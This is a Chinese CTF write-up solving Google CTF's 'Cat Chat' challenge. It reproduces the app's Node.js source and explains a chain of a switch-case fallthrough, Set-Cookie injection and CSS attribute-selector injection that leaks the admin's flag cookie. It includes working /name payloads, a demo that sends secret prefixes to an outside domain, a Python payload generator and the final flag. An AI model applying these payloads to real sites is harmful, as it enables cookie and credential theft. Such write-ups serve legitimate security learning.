抽空玩了一下Google Ctf,发现自己真的菜。。。。。
You discover this cat enthusiast chat app, but the annoying thing about it is that you're always banned when you start talking about dogs. Maybe if you would somehow get to know the admin's password, you could fix that.
看这个题目描述真是醉了,爱猫厌狗?歪果仁是真的6.。。。ORZ
点进去发现后这是一个使用NodeJs编写的即时通讯的聊天室。
没错,这是一个在线的聊天室,当你进入的时候会为你随机生成url路径作为你的房间编号
然后大家可以使用不同的浏览器进入同一个房间进行聊天
https://cat-chat.web.ctfcompetition.com/room/d96fc1c4-fe09-466b-8a28-8d7c7fd3b313/
进去一番操作之后,了解了一些信息,主要是这个聊天室的运行情况
- 每个浏览器进入房间后都是会获得一个随机的昵称,然后你可以用这个昵称进行发言
- 如果你的发言里面包含了dog,并且被管理员看到,那么你就会被ban掉,并且整个聊天室都会发出公告
我们的目标应该就是获取管理员Cookie里面的Flag
可以在聊天室里面完成一些操作:
/name Rai4over - 修改名字
/report - 召唤管理员(平时管理员不在),管理员会来检查是否有人打出dog
,如果有就ban掉
/secret test - 设置密码
/ban UserName - ban掉一个用户(仅管理员可用)
// Set name let color = ['brown', 'black', 'yellow', 'white', 'grey', 'red'][Math.floor(Math.random()*6)]; let breed = ['ragamuffin', 'persian', 'siamese', 'siberian', 'birman', 'bombay', 'ragdoll'][Math.floor(Math.random()*7)]; if (!localStorage.name) localStorage.name = color + '_' + breed; // Utility functions let cookie = (name) => (document.cookie.match(new RegExp(`(?:^|; )${name}=(.*?)(?:$|;)`)) || [])[1]; let esc = (str) => str.replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"').replace(/'/g, '''); // Sending messages let send = (msg) => fetch(`send?name=${encodeURIComponent(localStorage.name)}&msg=${encodeURIComponent(msg)}`, {credentials: 'include'}).then((res) => res.json()).then(handle); let display = (line) => conversation.insertAdjacentHTML('beforeend', `<p>${line}</p>`); let recaptcha_id = '6LeB410UAAAAAGkmQanWeqOdR6TACZTVypEEXHcu'; window.addEventListener('load', function() { messagebox.addEventListener('keydown', function(event) { if (event.keyCode == 13 && messagebox.value != '') { if (messagebox.value == '/report') { grecaptcha.execute(recaptcha_id, {action: 'report'}).then((token) => send('/report ' + token)); } else { send(messagebox.value); } messagebox.value = ''; } }); send('Hi all'); }); // Receiving messages function handle(data) { ({ undefined(data) {}, error(data) { display(`Something went wrong :/ Check the console for error message.`); console.error(data); }, name(data) { display(`${esc(data.old)} is now known as ${esc(data.name)}`); }, rename(data) { localStorage.name = data.name; }, secret(data) { display(`Successfully changed secret to <span data-secret="${esc(cookie('flag'))}">*****</span>`); }, msg(data) { let you = (data.name == localStorage.name) ? ' (you)' : ''; if (!you && data.msg == 'Hi all') send('Hi'); display(`<span data-name="${esc(data.name)}">${esc(data.name)}${you}</span>: <span>${esc(data.msg)}</span>`); }, ban(data) { if (data.name == localStorage.name) { document.cookie = 'banned=1; Path=/'; sse.close(); display(`You have been banned and from now on won't be able to receive and send messages.`); } else { display(`${esc(data.name)} was banned.<style>span[data-name^=${esc(data.name)}] { color: red; }</style>`); } }, })[data.type](data); } let sse = new EventSource("receive"); sse.onmessage = (msg) => handle(JSON.parse(msg.data)); // Say goodbye window.addEventListener('unload', () => navigator.sendBeacon(`send?name=${encodeURIComponent(localStorage.name)}&msg=Bye`)); // Admin helper function. Invoke this to automate banning people in a misbehaving room. // Note: the admin will already have their secret set in the cookie (it's a cookie with long expiration), // so no need to deal with /secret and such when joining a room. function cleanupRoomFullOfBadPeople() { send(`I've been notified that someone has brought up a forbidden topic. I will ruthlessly ban anyone who mentions d*gs going forward. Please just stop and start talking about cats for d*g's sake.`); last = conversation.lastElementChild; setInterval(function() { var p; while (p = last.nextElementSibling) { last = p; if (p.tagName != 'P' || p.children.length < 2) continue; var name = p.children[0].innerText; var msg = p.children[1].innerText; if (msg.match(/dog/i)) { send(`/ban ${name}`); send(`As I said, d*g talk will not be tolerated.`); } } }, 1000); }
handle() -- 根据JSON响应对页面进行操作,包括设置密码,修改名字,ban人(通过修改cookie)之类的操作
cleanupRoomFullOfBadPeople() -- 当有人召唤管理员的时候,管理员会通过调用这个函数ban掉违规人员
let esc = (str) => str.replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"').replace(/'/g, ''');-- 转义函数
const http = require('http'); const express = require('express'); const cookieParser = require('cookie-parser') const uuidv4 = require('uuid/v4'); const SSEClient = require('sse').Client; const admin = require('./admin'); const pubsub = require('@google-cloud/pubsub')(); const app = express(); app.set('etag', false); app.use(cookieParser()); // Check if user is admin based on the 'flag' cookie, and set the 'admin' flag on the request object app.use(admin.middleware); // Check if banned app.use(function(req, res, next) { if (req.cookies.banned) { res.sendStatus(403); res.end(); } else { next(); } }); // Opening redirect and room index app.get('/', (req, res) => res.redirect(`/room/${uuidv4()}/`)); let roomPath = '/room/:room([0-9a-f-]{36})'; app.get(roomPath + '/', function(req, res) { res.sendFile(__dirname + '/static/index.html', { headers: { 'Content-Security-Policy': [ 'default-src \'self\'', 'style-src \'unsafe-inline\' \'self\'', 'script-src \'self\' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/', 'frame-src \'self\' https://www.google.com/recaptcha/', ].join('; ') }, }); }); // Process incoming messages app.all(roomPath + '/send', async function(req, res) { let room = req.params.room, {msg, name} = req.query, response = {}, arg; console.log(`${room} <-- (${name}):`, msg) if (!(req.headers.referer || '').replace(/^https?:\/\//, '').startsWith(req.headers.host)) { response = {type: "error", error: 'CSRF protection error'}; } else if (msg[0] != '/') { broadcast(room, {type: 'msg', name, msg}); } else { switch (msg.match(/^\/[^ ]*/)[0]) { case '/name': if (!(arg = msg.match(/\/name (.+)/))) break; response = {type: 'rename', name: arg[1]}; broadcast(room, {type: 'name', name: arg[1], old: name}); case '/ban': if (!(arg = msg.match(/\/ban (.+)/))) break; if (!req.admin) break; broadcast(room, {type: 'ban', name: arg[1]}); case '/secret': if (!(arg = msg.match(/\/secret (.+)/))) break; res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000'); response = {type: 'secret'}; case '/report': if (!(arg = msg.match(/\/report (.+)/))) break; var ip = req.headers['x-forwarded-for']; ip = ip ? ip.split(',')[0] : req.connection.remoteAddress; response = await admin.report(arg[1], ip, `https://${req.headers.host}/room/${room}/`); } } console.log(`${room} --> (${name}):`, response) res.json(response); res.status(200); res.end(); }); // Process room broadcast messages const rooms = new Map(); app.get(roomPath + '/receive', function(req, res) { res.setHeader('X-Accel-Buffering', 'no'); let channel = new SSEClient(req, res); channel.initialize(); let roomName = req.params.room; let room = rooms.get(roomName) || new Set(); rooms.set(roomName, room.add(channel)) req.once('close', () => { room.size > 1 ? room.delete(channel) : rooms.delete(roomName) }); }); // Broadcast to all instances using Cloud Pub/Sub. For local testing, it's easy // to skip by commenting it out and patching the broadcast fn below. var publisher; pubsub.createTopic('catchat', function() { var topic = pubsub.topic('catchat'); publisher = topic.publisher(); topic.createSubscription('catchat-' + uuidv4(), {ackDeadlineSeconds: 10}).then(function(data) { data[0].on('message', function(msg) { msg.ack(); var room = msg.attributes.room; if (!rooms.has(room)) return; var msg = msg.data.toString('utf-8'); console.log(`${room} ^^^`, msg) for (let channel of rooms.get(room)) channel.send(msg); }); }); }); function broadcast(room, msg) { // for (let channel of (rooms.get(room) || [])) channel.send(JSON.stringify(msg)); // Local broadcast only publisher.publish(Buffer.from(JSON.stringify(msg)), {room: room}); // Pub/Sub broadcast } // Static files app.get('/server.js', (req, res) => res.sendFile(__filename)); app.use(express.static(__dirname + '/static/', {fallthrough: false})); app.listen(8080);
首先是一个CSP的策略
headers: { 'Content-Security-Policy': [ 'default-src \'self\'', 'style-src \'unsafe-inline\' \'self\'', 'script-src \'self\' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/', 'frame-src \'self\' https://www.google.com/recaptcha/', ].join('; ') }
这个CSP的策略可以说非常的严格了
- script-src的设置我们不能引入外域的Javascript代码,frame-src的设置也不能引入外域的框架
- style-src \'unsafe-inline\' \'self\' 这里的设置给了我们些许机会,可以加载自身,这里我们似乎可以使用CSS注入
- res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000'); ,这里我们还可以进行cookie注入
这是一个很有意思的利用组合,ORZ
我们仔细观察/secret的代码,设置密码行为的代码流程如下:
Server收到设置密码的命令之后会把你的密码写进Flag
res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000');
之后客户端会读取你的cookie,提示你修改密码成功
secret(data) { display(`Successfully changed secret to <span data-secret="${esc(cookie('flag'))}">*****</span>`); }
修改密码后会将你的密码放进一个span标签,<span data-secret="password">*****</span>
嗯,好像一个span标签没什么用,这里就要用到Css Injection了。
输入点在<style>之间,在聊天室广播管理员ban掉违规成员的名字的时候就存在注入
display(`${esc(data.name)} was banned.<style>span[data-name^=${esc(data.name)}] { color: red; }</style>`);
这个主要是用到CSS 属性选择器+background进行注入
当CSS属性选择器满足选择条件的时候,可以发起HTTP请求,进行逐字节判断
举个例子
<html> <head></head> <body> <span data-secret="Rai4over"></span> <style> span[data-secret^=R] {background:url(https://www.rai4over.com/R)} span[data-secret^=Rai] {background:url(https://www.rai4over.com/Rai)} span[data-secret^=Rai4over] {background:url(https://www.rai4over.com/Rai4over)} span[data-secret^=fucknoob] {background:url(https://www.rai4over.com/noob)} </style> </body>
上面的CSS会因为能找到data-secret="Rai4over"的span标签就发起对background的HTTP请求
查看css属性,最后一其次覆盖了
Css Injection 参考:https://curesec.com/blog/article/blog/Reading-Data-via-CSS-Injection-180.html
我们首先开一个浏览器,然后运行命令设置自己的secret,运行命令/secret Rai4over。
这时候我们就添加了span标签,<span data-secret="Rai4over">*****</span>。
这时候我们再开一个浏览器,加入同一个的聊天室,然后使用/name命令重命名
/name ]{}span[data-secret^=Rai4over]{background-image:url(send?name=Rai4overtest&msg=Im_noob);}Rai4over[
这个成员名字为:
]{}span[data-secret^=Rai4over]{background-image:url(send?name=Rai4overtest&msg=Im_noob);}Rai4over[
然后这个成员通过/report命令召唤管理员,然后发出dog让管理员ban自己,
所有的在聊天室的成员都会收到被ban成员的提示广播,这时候广播触发CSS background-image注入,因为存在span标签满足css,那么此时就会向本房间发起HTTP请求。
嗯,这时候我们发现最开始加入这个聊天室的成员(设置secret的成员)会在聊天室发起我们指定的msg
看到这里,获取Flag的思路应该都有了。
Flag参在管理员的cookie里面,管理员访问房间ban人的时候同样也是收到广播,那么我们是不是也可以通过css注入让管理员广播自己的Flag(cookie)。
background-image发起的的请求的内容也是self的,符合CSP的策略,看起来都和完美,^_^
其实还有问题就是管理员进入房间后并没有span标签,也就是说我们必须要让管理员执行/secret命令,让管理员将Flag写到标签内,然后我们才能广播获取。
现在我们的目的十分的清晰,希望管理员运行/secret命令
仔细观察代码,发现了存在问题的地方,发生在管理员ban人的时候
客户端
function cleanupRoomFullOfBadPeople() { send(`I've been notified that someone has brought up a forbidden topic. I will ruthlessly ban anyone who mentions d*gs going forward. Please just stop and start talking about cats for d*g's sake.`); last = conversation.lastElementChild; setInterval(function() { var p; while (p = last.nextElementSibling) { last = p; if (p.tagName != 'P' || p.children.length < 2) continue; var name = p.children[0].innerText; var msg = p.children[1].innerText; if (msg.match(/dog/i)) { send(`/ban ${name}`); send(`As I said, d*g talk will not be tolerated.`); } } }, 1000); }
服务端
switch (msg.match(/^\/[^ ]*/)[0]) { case '/name': if (!(arg = msg.match(/\/name (.+)/))) break; response = {type: 'rename', name: arg[1]}; broadcast(room, {type: 'name', name: arg[1], old: name}); case '/ban': if (!(arg = msg.match(/\/ban (.+)/))) break; if (!req.admin) break; broadcast(room, {type: 'ban', name: arg[1]}); case '/secret': if (!(arg = msg.match(/\/secret (.+)/))) break; res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000'); response = {type: 'secret'}; case '/report': if (!(arg = msg.match(/\/report (.+)/))) break; var ip = req.headers['x-forwarded-for']; ip = ip ? ip.split(',')[0] : req.connection.remoteAddress; response = await admin.report(arg[1], ip, `https://${req.headers.host}/room/${room}/`); }
首先是客户端发送违规人员${name}没有经过任何过滤,然后就是服务器端处理的switch/case语句和正则表达式写的都有问题。
如果我们违规人员的name为/secret xxx,那么经过send(`;/ban ${name}`);
发送到服务器后,进入swtich的整个msg就会是/ban /secret xxx
因为每个分支最后没有break,所以经过case '/ban':这个语句之后,仍然运行后面分支的语句。
同时if (!(arg = msg.match(/\/secret (.+)/))) break;这里的整个并没限制/secret的位置,所以同样能被/ban /secret xxx匹配,这样我们返回客户端的JSON数据就是{type: 'secret'}
客户端handle(data)
根据JSON执行相关的操作这样我们就让管理员执行了/secret xxx,添加了span标签
嗯,其实还有个坑,就是我们给管理员添加的span标签当中包含的根本不是Flag,因为 /secret xxx会执行Set-Cookie改变了cookie,这时Cookie的值为xxx
嗯,这时候就很蛋疼了,我们要执行/secret xx,添加span标签,然后又不能改变Cookie里面藏的Flag,emmmmmmm
办法还是有的,23333
答案在MDN:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Set-Cookie
非法域 属于特定域的 cookie,假如域名不能涵盖原始服务器的域名,那么应该被用户代理拒绝。 下面这个 cookie 假如是被域名为 originalcompany.com 的服务器设置的,那么将会遭到用户代理的拒绝: Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT
简单来说我们只要向Set-Cookie中注入并让它的Domain值和服务器不属于同一个域,那么管理员客户端就会不会接受新的Cookie覆盖,不改变cookie,并且也添加了span标签,美滋滋
根据非法域我们可以运行命令修改一个成员的名字,此命令为
/name /secret Raivoer; Domain=]{}span[data-secret^=Rai4over]{background-image:url(send?name=Rai4overtest&msg=Im_noob);}Rai4over[
本地测试这个payload,是可以完美闭合的
首先开启一个聊天室,使用两个浏览器加入
然后其中一个运行修改名字的命令
/name /secret Raivoer; Domain=]{}span[data-secret^=CTF{]{background-image:url(send?name=Rai4over&msg=CTF{);}Rai4over[
然后召唤管理员ban掉自己,发现并没又如期出现flag,WTF
想了想,应该是Flag当中的{
导致管理员浏览器Css标签闭合失效的问题,实体编码试试
/name /secret Raivoer; Domain=]{}span[data-secret^=CTF{]{background-image:url(send?name=Rai4over&msg=CTF{);}Rai4over[
不知道为什么还是不行,蛋疼。。
而且这个时候即便管理员提示我已经被ban,我还是能发言的,
这说明payload名字的命令注入和JSON返回值没问题的,没设置被ban的cookie,注入的命令被客户端handle正确处理了,应该就是后面css闭合的问题。
后面查了资料发现CSS可以通过反斜线\转(https://developer.mozilla.org/zh-CN/docs/Web/CSS/string)
重新构造payload,成功输出{
/name /secret Raivoer; Domain=]{}span[data-secret^=CTF\7B]{background-image:url(send?name=Rai4over&msg=CTF\7B);}Rai4over[
其实我开始是根据每次请求一个字,观察页面是否有输出判断字符是否正确,后面发现dalao有更好的方式,就是一次添加所有字符的CSS样式,msg参数和猜测字符相同,一次遍历全部字符,这样大大加快速度,ORZ
生成脚本如下
import sys import string known_prefix = "" ret = ["/name /secret foo; Domain=bar]{}"] for c in string.ascii_letters + string.digits + "-_": prefix = known_prefix + c ret.append("span[data-secret^=CTF\\7B{}]{{background-image:url(send?name={}&msg={});}}".format(prefix, c, c)) ret.append("a[") print(''.join(ret))
Flag最终为CTF{L0LC47S_43V3R}